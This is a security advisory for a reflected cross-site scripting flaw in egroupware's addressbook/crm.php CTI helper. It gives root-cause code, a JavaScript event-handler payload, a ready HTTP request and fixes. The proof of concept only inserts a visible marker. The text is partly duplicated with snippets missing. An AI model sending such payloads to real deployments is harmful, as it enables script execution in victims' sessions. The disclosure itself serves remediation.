Summary
egroupware 26.6.20260619 reflects the authenticated from query parameter from /egroupware/addressbook/crm.php into an HTML error response without output encoding. The route is documented as a Basic-auth CTI helper. If no contact exists for the supplied value, the response body contains attacker-controlled HTML and a crafted details payload executes JavaScript in a browser.
Impact
An attacker who can cause an authenticated egroupware user to open a crafted CTI helper URL can execute JavaScript in that user's browser under the egroupware origin. The script can interact with same-origin pages and browser-visible application state available to the victim.
Root Cause
addressbook/crm.php is intended for CTI integrations and accepts Basic auth:
// basic auth
if (!empty($_SERVER['PHP_AUTH_USER']) || stripos($auth, 'Basic') === 0)
{
$GLOBALS['egw_info']['flags'] += [
'currentapp' => 'addressbook',
'autocreate_session_callback' => 'EGroupware\\Api\\Header\\Authenticate::autocreate_session_callback',
];
}
For GET requests, it copies the raw from parameter:
If Api\Contacts::openCrmView($from) raises an exception because no matching contact exists, the catch block interpolates the raw value into a browser response:
catch (\Exception $e) {
error_log("crm.php: No contact for from=$from found!");
die("No contact for from=$from found!\n");
}
The response is served as text/html; charset=utf-8, and no context-specific HTML output encoding is applied before die().
POC
The following proof uses a visible test poc executed marker:
<details open ontoggle="window.__egw_crm_poc=77;document.body.insertAdjacentHTML('afterbegin','<div id=egw-crm-poc-marker style=position:fixed;top:0;left:0;right:0;z-index:99999;background:#b00020;color:white;font:18px Arial;padding:12px;text-align:center>test poc executed</div>')">test</details>
HTTP POC
This request is sufficient with a valid Basic-authenticated user:
GET /egroupware/addressbook/crm.php?from=%3Cdetails%20open%20ontoggle%3D%22window.__egw_crm_poc%3D77%3Bdocument.body.insertAdjacentHTML%28%27afterbegin%27%2C%27%3Cdiv%20id%3Degw-crm-poc-marker%20style%3Dposition%3Afixed%3Btop%3A0%3Bleft%3A0%3Bright%3A0%3Bz-index%3A99999%3Bbackground%3A%23b00020%3Bcolor%3Awhite%3Bfont%3A18px%20Arial%3Bpadding%3A12px%3Btext-align%3Acenter%3Etest%20poc%20executed%3C%2Fdiv%3E%27%29%22%3Etest%3C%2Fdetails%3E HTTP/1.1
Host: target.example
Authorization: Basic <base64(username:password)>
The expected browser-visible result is an error page containing the injected marker.
Suggested Fix
- Encode the
from value before returning it in any browser-visible response, for example with htmlspecialchars($from, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8').
- Keep raw values in server-side logs only if log injection risks are handled separately.
- Return a fixed error body for no-contact cases if the exact input does not need to be shown to the user.
- Treat global input cleanup as defense-in-depth only; keep context-specific output encoding at every HTML, header, JavaScript, and attribute boundary.
Summary
egroupware 26.6.20260619 reflects the authenticated
fromquery parameter from/egroupware/addressbook/crm.phpinto an HTML error response without output encoding. The route is documented as a Basic-auth CTI helper. If no contact exists for the supplied value, the response body contains attacker-controlled HTML and a crafteddetailspayload executes JavaScript in a browser.Impact
An attacker who can cause an authenticated egroupware user to open a crafted CTI helper URL can execute JavaScript in that user's browser under the egroupware origin. The script can interact with same-origin pages and browser-visible application state available to the victim.
Root Cause
addressbook/crm.phpis intended for CTI integrations and accepts Basic auth:For GET requests, it copies the raw
fromparameter:If
Api\Contacts::openCrmView($from)raises an exception because no matching contact exists, the catch block interpolates the raw value into a browser response:The response is served as
text/html; charset=utf-8, and no context-specific HTML output encoding is applied beforedie().POC
The following proof uses a visible
test poc executedmarker:HTTP POC
This request is sufficient with a valid Basic-authenticated user:
The expected browser-visible result is an error page containing the injected marker.
Suggested Fix
fromvalue before returning it in any browser-visible response, for example withhtmlspecialchars($from, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8').